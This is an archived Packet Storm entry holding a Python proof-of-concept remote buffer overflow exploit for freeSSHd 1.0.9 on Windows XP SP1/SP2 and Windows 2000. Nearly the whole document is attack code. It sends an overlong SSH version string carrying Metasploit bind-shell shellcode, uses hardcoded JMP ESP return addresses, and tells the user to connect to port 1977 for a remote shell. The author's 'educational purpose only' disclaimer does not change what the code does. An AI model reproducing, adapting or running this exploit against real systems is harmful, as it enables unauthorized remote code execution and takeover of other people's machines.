freesshd-exploit.txt

2006-05-22T00:00:00
ID PACKETSTORM:46441
Type packetstorm
Reporter Tauqeer Ahmad a.k.a 0x-Scientist-x0
Modified 2006-05-22T00:00:00

Description

                                        
                                            `#!/usr/bin/env python  
  
"""  
Coded by Tauqeer Ahmad a.k.a 0x-Scientist-x0  
ahmadtauqeer[at]yahoo.com  
Disclaimer: This Proof of concept exploit is for educational purpose only.  
Please do not use it against any system without prior permission.  
You are responsible for yourself for what you do with this code.  
  
Greetings: All the Pakistani White Hats including me ;)  
Flames: To all the skript kiddies out there. Man grow up!.  
Code tasted against freeSSHd version 1.0.9  
If you didn't get shell at first try, try few times and you will get lucky  
  
Advisories:  
http://www.securityfocus.com/bid/17958  
http://www.frsirt.com/english/advisories/2006/1786  
  
"""  
import socket  
import getopt  
import sys  
  
host = "192.168.0.2"  
port = 0  
eip =""  
  
#/* win32_bind - EXITFUNC=thread LPORT=1977 Size=317 Encoder=None http://metasploit.com */  
shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" \  
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" \  
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" \  
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" \  
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" \  
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" \  
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" \  
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" \  
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" \  
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0" \  
"\x66\x68\x07\xb9\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff" \  
"\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53" \  
"\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff" \  
"\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64" \  
"\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89" \  
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab" \  
"\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51" \  
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53" \  
"\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6" \  
"\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0"  
  
  
def exploit():  
  
buff = "\x53\x53\x48\x2d\x31\x2e\x39\x39\x2d\x4f\x70\x65\x6e\x53\x53\x48" \  
"\x5f\x33\x2e\x34\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00" \  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde"  
  
buff = buff + "A" * 1055  
buff = buff + eip  
buff = buff + "yyyy"  
buff = buff + "\x90" * 4  
buff = buff + shellcode  
buff = buff + "B" * 19021 + "\r\n"   
  
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
sock.connect((host, port))  
print "+ Recive reply from server: " + sock.recv(1000)  
  
sock.send(buff)  
print "+ SSHD exploited. Now telnet to port 1977 to get shell "  
print "+ if you didnt get shell in first try.Try again until you success"  
  
sock.close()  
sock = None  
  
  
def usage():  
print "#############################################"  
print "# CODED BY TAUQEER AHMAD #"  
print "# Scientist #"   
print "#############################################"  
print "\n"  
print "Usage: %s -h <hostip> -p <port> -o <OS>" % sys.argv[0]  
print "Following OS supported\n"  
print "1 Window XP SP1"  
print "2 Window XP SP2"  
print "3 Windows 2000 Advanced Server"  
  
  
if __name__ == '__main__':  
  
if len(sys.argv) < 7:  
usage()  
sys.exit()  
  
try:  
options = getopt.getopt(sys.argv[1:], 'h:p:o:')[0]  
except getopt.GetoptError, err:  
print err  
usage()  
sys.exit()  
  
  
for option, value in options:  
if option == '-h':  
host = value  
if option == '-p':  
port = int(value)  
if option == '-o':  
if value == '1':  
eip = "\xFC\x18\xD7\x77" # 77D718FC JMP ESP IN USER32.dll (Windows Xp professional SP1)  
elif value == '2':  
eip = "\x0A\xAF\xD8\x77" # 77D8AF0A JMP ESP IN USER32.DLL (Windows Xp professional SP2)   
elif value == '3':  
eip = "\x4D\x3F\xE3\x77" # 77E33F4D JMP ESP IN USER32.DLL (windows 2000 advanced server)  
else:  
usage()  
sys.exit()  
  
exploit()  
  
  
  
  
  
  
  
  
`